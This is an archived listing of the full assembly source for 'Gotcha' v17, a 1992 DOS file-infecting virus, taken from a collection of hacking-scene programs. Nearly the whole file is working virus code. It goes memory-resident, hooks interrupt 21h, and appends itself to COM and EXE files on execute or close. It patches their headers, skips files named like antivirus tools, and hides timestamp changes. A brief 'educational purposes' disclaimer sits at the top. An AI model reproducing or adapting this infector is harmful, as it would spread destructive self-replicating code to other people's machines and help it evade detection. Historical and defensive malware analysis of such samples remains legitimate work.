home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / G.ZIP / GOTCHA17.ZIP / GOTCHA17.ASM next >
Assembly Source File  |  1992-10-11  |  15KB  |  451 lines
  1. ;****************************************************************************
  2. ;*  Gotcha    version 17
  3. ;*
  4. ;*  Compile with MASM 4.0
  5. ;*  (other assemblers will probably not produce the same result)
  6. ;*
  7. ;*  Disclaimer:
  8. ;*  This file is only for educational purposes. The author takes no
  9. ;*  responsibility for anything anyone does with this file. Do not
  10. ;*  modify this file!
  11. ;****************************************************************************
  12.  
  13.                 .RADIX  16
  14.  
  15. cseg            segment
  16.                 assume  cs:cseg,ds:cseg,es:nothing
  17.  
  18.  
  19. VERSION         equ     17d
  20. FILELEN         equ     end - start
  21. RESPAR          equ     (FILELEN/16d) + 18d
  22. BUFLEN          equ     18
  23. ENVLEN          equ     signature- envstring        
  24. COMSIGN         equ     0
  25. EXESIGN         equ     1
  26.  
  27.  
  28. ;****************************************************************************
  29. ;*              Dummy program (infected)
  30. ;****************************************************************************
  31.  
  32.                 org     0100
  33.  
  34. begin:          db      0E9, BUFLEN+1, 0        ;jump to virus entry
  35.  
  36.  
  37. ;****************************************************************************
  38. ;*              Data
  39. ;****************************************************************************
  40.  
  41.                 org     0103
  42.  
  43. start:
  44. buffer          db      0CDh, 20                ;original code
  45.                 db      (BUFLEN-2) dup (?)
  46. comexe          db      COMSIGN                 ;dummy program is a COM program
  47.  
  48.  
  49. ;****************************************************************************
  50. ;*              Install the virus
  51. ;****************************************************************************
  52.  
  53.                 call    start2
  54. start2:         pop     si
  55.                 sub     si,(BUFLEN+4)           ;si = begin virus
  56.                 mov     di,0100
  57.                 cld
  58.  
  59.                 cmp     byte ptr cs:[si+BUFLEN],COMSIGN
  60.                 jz      entryC
  61.  
  62. entryE:         mov     ax,ds                   ;calculate CS
  63.                 add     ax,10
  64.                 add     ax,cs:[si+16]
  65.                 push    ax                      ;push new CS on stack
  66.                 push    cs:[si+14]              ;push new IP on stack
  67.                 jmp     short entcheck
  68.  
  69. entryC:         push    cs                      ;push new CS on stack
  70.                 push    di                      ;push new IP on stack
  71.                 push    di
  72.                 push    si
  73.                 movsw                           ;restore old file-begin
  74.                 movsb
  75.                 pop     si
  76.                 pop     di
  77.  
  78. entcheck:       mov     ax,0DADA                ;already installed?
  79.                 int     21
  80.                 cmp     ah,0A5
  81.                 je      entstop
  82.  
  83.                 mov     ax,3000                 ;test DOS version >= 3.1?
  84.                 int     21
  85.                 xchg    ah,al
  86.                 cmp     ax,030A
  87.                 jb      entstop
  88.  
  89.                 push    ds
  90.                 push    es
  91.  
  92.                 mov     ax,ds                   ;adjust memory-size
  93.                 dec     ax
  94.                 mov     ds,ax
  95.                 cmp     byte ptr ds:[0000],5A
  96.                 jnz     cancel
  97.                 mov     ax,ds:[0003]
  98.                 sub     ax,low RESPAR
  99.                 jb      cancel
  100.                 mov     ds:[0003],ax
  101.                 sub     word ptr ds:[0012],low RESPAR
  102.  
  103.                 mov     es,ds:[0012]            ;copy program to top
  104.                 push    cs
  105.                 pop     ds
  106.                 mov     cx,FILELEN
  107.         rep     movsb
  108.  
  109.                 mov     ds,cx                   ;get original int21 vector
  110.                 mov     si,4*21
  111.                 movsw                           ;move it to the end
  112.                 movsw
  113.  
  114.                 push    es                      ;set vector to new handler
  115.                 pop     ds
  116.                 mov     dx,offset ni21-3
  117.                 mov     ax,2521
  118.                 int     21
  119.  
  120. cancel:         pop     es
  121.                 pop     ds
  122.  
  123. entstop:        db      0CBh                    ;retf
  124.  
  125.  
  126. ;****************************************************************************
  127. ;*              Interupt 24 handler
  128. ;****************************************************************************
  129.  
  130. ni24:           mov     al,3
  131.                 iret
  132.  
  133.  
  134. ;****************************************************************************
  135. ;*              Interupt 21 handler
  136. ;****************************************************************************
  137.  
  138. ni21:           pushf
  139.  
  140.                 cmp     ax,0DADA                ;install-check ?
  141.                 je      do_DADA
  142.  
  143.                 push    dx
  144.                 push    cx
  145.                 push    bx
  146.                 push    ax
  147.                 push    si
  148.                 push    di
  149.                 push    ds
  150.                 push    es
  151.  
  152.                 cmp     ah,3E                   ;close ?
  153.                 jne     vvv
  154.                 mov     ah,45                   ;duplicate handle
  155.                 jmp     short doit
  156.  
  157. vvv:            cmp     ax,4B00                 ;execute ?
  158.                 jne     exit
  159.                 mov     ah,3Dh                  ;open the file
  160.  
  161. doit:           int     21
  162.                 jc      exit
  163.                 xchg    ax,bx
  164.                 call    infect
  165.  
  166. exit:           pop     es
  167.                 pop     ds
  168.                 pop     di
  169.                 pop     si
  170.                 pop     ax
  171.                 pop     bx
  172.                 pop     cx
  173.                 pop     dx
  174.                 popf
  175.  
  176. org21:          jmp     dword ptr cs:[oi21-3]   ;call to old int-handler
  177.  
  178.  
  179. do_DADA:        mov     ax,0A500+VERSION        ;return a signature
  180.                 popf
  181.                 iret
  182.  
  183.  
  184. ;****************************************************************************
  185. ;*              Close the file
  186. ;****************************************************************************
  187.  
  188. close:          mov     ah,3E                   ;close the file
  189.                 pushf
  190.                 push    cs
  191.                 call    org21
  192.                 ret
  193.  
  194.  
  195. ;****************************************************************************
  196. ;*              Tries to infect the file (ptr to ASCIIZ-name is DS:DX)
  197. ;****************************************************************************
  198.  
  199. infect:         cld
  200.  
  201.                 push    bx
  202.                 mov     ah,62                   ;get segment-adres of PSP
  203.                 int     21
  204.                 mov     ds,bx                   ;get seg-adres of environment
  205.                 mov     es,ds:[002C]
  206.                 xor     di,di
  207.                 pop     bx
  208.                 push    cs
  209.                 pop     ds
  210.                 
  211. envloop:        mov     si,offset envstring-3   ;check the environment
  212.                 mov     cx,ENVLEN
  213.         repz    cmpsb
  214.                 jz      close                   ;exit if item found
  215.                 dec     di                      ;goto next item
  216.                 xor     al,al
  217.                 mov     ch,0FF
  218.         repnz   scasb
  219.                 cmp     byte ptr es:[di],0      ;finnished environment?
  220.                 jnz     envloop
  221.  
  222.                 mov     ax,3300                 ;get ctrl-break flag
  223.                 int     21
  224.                 push    dx
  225.  
  226.                 cwd                             ;clear the flag
  227.                 inc     ax
  228.                 push    ax
  229.                 int     21
  230.  
  231.                 mov     dx,bx
  232.                 mov     ax,3524                 ;get int24 vector
  233.                 int     21
  234.                 push    bx
  235.                 push    es
  236.                 mov     bx,dx
  237.  
  238.                 push    cs
  239.                 pop     ds
  240.  
  241.                 mov     dx,offset ni24          ;set int24 vector
  242.                 mov     ah,25
  243.                 push    ax
  244.                 int     21
  245.  
  246.                 mov     ax,1220                 ;get file-table entry
  247.                 push    bx
  248.                 push    ax
  249.                 int     2F
  250.                 mov     bl,es:[di]
  251.                 pop     ax
  252.                 sub     al,0A
  253.                 int     2F
  254.                 pop     bx
  255.  
  256.                 push    es
  257.                 pop     ds
  258.  
  259.                 push    [di+2]                  ;save attribute & open-mode
  260.                 push    [di+4]
  261.  
  262.                 cmp     word ptr [di+28],'XE'   ;check extension
  263.                 jne     not_exe
  264.                 cmp     byte ptr [di+2A],'E'
  265.                 jmp     short check
  266.  
  267. not_exe:        cmp     word ptr [di+28],'OC'
  268.                 jne     close1v
  269.                 cmp     byte ptr [di+2A],'M'
  270. check:          je      check_name
  271. close1v:        jmp     close1
  272.  
  273. check_name:     cmp     byte ptr [di+20],'V'    ;name is V*.* ?
  274.                 je      close1v
  275.                 cmp     byte ptr [di+20],'F'    ;name is F*.* ?
  276.                 je      close1v
  277.  
  278.                 mov     cx,7                    ;name is *SC*.* ?
  279.                 mov     ax,'CS'
  280.                 push    di
  281.                 add     di,21
  282. SCloop:         dec     di
  283.                 scasw
  284.                 loopnz  SCloop
  285.                 pop     di
  286.                 je      close1v
  287.  
  288.                 mov     byte ptr [di+2],2       ;open for read/write
  289.                 mov     byte ptr [di+4],0       ;clear attributes
  290.                 call    getlen
  291.                 mov     cl,3
  292.                 sub     ax,cx                   ;goto signature
  293.                 sbb     dx,0
  294.                 call    goto
  295.                 push    ax                      ;save old offset
  296.                 push    dx
  297.  
  298.                 push    cs
  299.                 pop     ds
  300.  
  301.                 mov     si,0100                 ;read signature
  302.                 mov     dx,si
  303.                 mov     ah,3F
  304.                 int     21
  305.  
  306.                 cmp     word ptr [si],'!A'      ;already infected?
  307.                 je      close2v
  308.  
  309.                 call    gotobegin
  310.  
  311.                 mov     cl,BUFLEN               ;read begin
  312.                 mov     dx,si
  313.                 mov     ah,3F
  314.                 int     21
  315.  
  316.                 cmp     word ptr [si],5A4Dh     ;EXE ?
  317.                 jz      do_EXE
  318.                 cmp     word ptr [si],4D5A
  319.                 jz      do_EXE
  320.  
  321. do_COM:         mov     byte ptr [si+BUFLEN],COMSIGN
  322.  
  323.                 cmp     byte ptr es:[di+12],0FC ;check length
  324.                 jnb     close2
  325.                 cmp     byte ptr es:[di+12],3
  326.                 jbe     close2
  327.  
  328.                 call    writeprog               ;write program to end of file
  329.                 jnz     close2
  330.  
  331.                 mov     byte ptr [si],0E9h      ;JMP xxxx'
  332.                 call    getoldlen
  333.                 add     ax,(BUFLEN-2)
  334.                 mov     word ptr [si+1],ax
  335.  
  336.                 jmp     short done
  337. close2v:        jmp     short close2
  338.  
  339. do_EXE:         mov     byte ptr [si+BUFLEN],EXESIGN
  340.  
  341.                 call    writeprog               ;write program to end of file
  342.                 jnz     close2
  343.  
  344.                 call    getlen                  ;calculate new length 
  345.                 mov     cx,0200                 ;put new length in header
  346.                 div     cx
  347.                 inc     ax
  348.                 mov     word ptr [si+4],ax
  349.                 mov     word ptr [si+2],dx
  350.  
  351.                 call    getoldlen               ;calculate new CS & IP
  352.                 mov     cx,0010
  353.                 div     cx
  354.                 sub     ax,word ptr [si+8]
  355.                 mov     word ptr [si+16],ax     ;put CS in header
  356.                 add     dx,BUFLEN+1
  357.                 mov     word ptr [si+14],dx     ;put IP in header
  358.  
  359.  
  360. done:           call    gotobegin
  361.                 mov     cx,BUFLEN               ;write new begin
  362.                 mov     dx,si
  363.                 mov     ah,40
  364.                 int     21
  365.  
  366. close2:         push    es
  367.                 pop     ds
  368.  
  369.                 pop     dx                      ;restore old offset in file
  370.                 pop     ax
  371.                 call    goto
  372.  
  373.                 or      byte ptr [di+6],40      ;no time-change
  374.  
  375. close1:         call    close
  376.  
  377.                 or      byte ptr [di+5],40      ;no EOF on next close
  378.                 pop     [di+4]                  ;restore attribute & open-mode
  379.                 pop     [di+2]
  380.  
  381.                 pop     ax                      ;restore int24 vector
  382.                 pop     ds
  383.                 pop     dx
  384.                 int     21
  385.  
  386.                 pop     ax                      ;restore ctrl-break flag
  387.                 pop     dx
  388.                 int     21
  389.  
  390.                 ret
  391.  
  392.  
  393. ;****************************************************************************
  394. ;*              Get original length of program
  395. ;****************************************************************************
  396.  
  397. getoldlen:      call    getlen
  398.                 sub     ax,FILELEN
  399.                 sbb     dx,0
  400.                 ret
  401.  
  402.  
  403. ;****************************************************************************
  404. ;*              Get length of program
  405. ;****************************************************************************
  406.  
  407. getlen:         mov     ax,es:[di+11]
  408.                 mov     dx,es:[di+13]
  409.                 ret
  410.  
  411.  
  412. ;****************************************************************************
  413. ;*              Goto new offset DX:AX
  414. ;****************************************************************************
  415.  
  416. gotobegin:      xor     ax,ax
  417.                 cwd
  418. goto:           xchg    ax,es:[di+15]
  419.                 xchg    dx,es:[di+17]
  420.                 ret
  421.  
  422.  
  423. ;****************************************************************************
  424. ;*              Write virus to the file
  425. ;****************************************************************************
  426.  
  427. writeprog:      call    getlen
  428.                 call    goto
  429.  
  430.                 mov     cx,FILELEN              ;write virus
  431.                 mov     dx,si
  432.                 mov     ah,40
  433.                 int     21
  434.                 cmp     cx,ax                   ;are all bytes written?
  435.                 ret
  436.  
  437.  
  438. ;****************************************************************************
  439. ;*              Text and Signature
  440. ;****************************************************************************
  441.  
  442. envstring       db      'E=mc²',0
  443.  
  444. signature:      db      'GOTCHA!',0             ;I have got you!  :-)
  445.  
  446. oi21:
  447. end:
  448.  
  449. cseg            ends
  450.                 end     begin
  451.